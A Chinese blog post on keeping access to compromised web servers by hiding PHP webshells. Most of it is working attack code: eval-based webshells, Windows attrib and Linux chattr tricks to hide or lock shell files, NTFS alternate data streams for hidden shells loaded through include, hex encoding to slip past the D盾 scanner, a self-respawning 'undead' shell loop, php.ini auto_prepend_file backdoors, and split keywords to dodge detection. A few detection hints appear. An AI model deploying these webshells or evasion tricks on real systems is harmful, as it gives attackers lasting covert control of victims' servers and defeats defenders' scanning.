信安知识内网攻防

权限维持——牧马隐藏技巧

2020-10-19  本文已影响0人  book4yi

本文仅作学习记录,如有侵权,请联系删除!

修改文件属性:


使用attrib命令,参数说明如下:

+r 设置只读属性
-r 取消只读属性
+a 设置存档属性
-a 取消存档属性
+s 设置系统属性
-s 取消系统属性
+h 设置隐藏属性
-h 取消隐藏属性
/s 显示目录下所有文件的属性
/d 将attrib和任意命令行选项应用到目录

attrib +s +h webshell.php

即使开启了显示隐藏的文件或是只使用dir显示都是看不见的

检测手段:

dir /A
木马文件查杀

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。

chattr +i evil.php 锁定文件
lsattr evil.php 属性查看
chattr -i evil.php 解除锁定
rm -rf evil.php 删除文件

利用ADS流创建文件:


之前我只知道可以通过ADS流模式突破进而创建文件夹,这还是udf提权的技巧,但实际我对ADS是很陌生的,这里简单学习一波~

NTFS交换数据流(alternate data streams简称ADS)是NTFS磁盘格式的一个特性。

一个完整的流的格式为:

<filename>:<stream name>:<stream type>

    1. 主流即我们平时可以看见的可以存储数据的文件。而非主文件流寄宿于主文件流中,无法直接读取。
    1. 修改宿主文件的内容或流的内容,不会对彼此造成影响。
    1. 流类型总是以$符号作为开始,NTFS文件系统中的文件至少包含一个主流,也就是data流($DATA),默认流名为空。
    1. ADS可以省略流名,但不能省略流类型。
    1. NTFS文件系统中的文件夹没有data流,但可以指派data流,文件夹的主流为directory流($INDEX_ALLOCATION),流名默认为$I30

在命令行中echo一个数据流从而创建一个ADS隐藏文件

echo ^<?php @eval($_POST['pass']);?^> > index.php:shell.jpg

这样生成了一个不可见的shell.jpg,type dir del命令都不行
我们只能看见一个index.php文件,且内容为空

这里做个解释:
对于windows环境的服务器,上传test.php:.jpg类型的文件,当文件传到服务端时,windows会将该文件识别成ADS,从而认为其宿主文件名为test.php而将.jpg识别为流名。
通过notepad test.php:.jpg可以查看内容,所以test.php内容为空是正常的。

命令行输入完整的文件名即可通过notepad进行编辑

虽然我们已经将文件隐藏了,都是木马但并不能够起作用,这里就需要用到文件包含:

<?php include('index.php:shell.jpg');?>

然后直接用蚁剑去连接即可
后面惊奇地发现这个php包含文件居然没有被D盾查杀

这里利用PHP可变变量进行二次转换加上对包含的文件名进行hex处理进行免杀绕过

<?php
$a="696E6465782E7068703"."A7368656C6C2E6A7067";
$b="a";
include(PACK('H*',$$b))
?>

不死马:

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
sleep(5);
}?>

在每次删除后的5秒钟之后又会重新生成一个新的webshell.php文件,若要彻底删除文件最好的方法是将web服务停止了再删除。

php.ini:

利用原理:访问一个php文件,在文件执行之前自动执行牧马文件:

1、在php.ini中找到配置项,修改auto_prepend_file:

auto_prepend_file =shell.dll

2、修改include_path
修改为存在后门文件的绝对路径

# ; Windows: "\path1;\path2"
include_path = ".;c:\php\includes;D:\phpstudy_pro\666"

3、在include_path指定的路径上创建webshell.dll文件:

<?php @eval($_POST[pass]);?>

然后重启Web应用,用蚁剑连接任一可以访问到的php文件即可

关键字拆分与文件包含:


将webshell拆分成两个部分:

<?php @eval($_POST[pass]);?>

<?php
$a = $_POST[pass];
?>

<?php
include "a.php";
@eval($a);
?>

参考如下:


木马隐藏技巧
NTFS ADS的前世今生

上一篇下一篇

猜你喜欢

热点阅读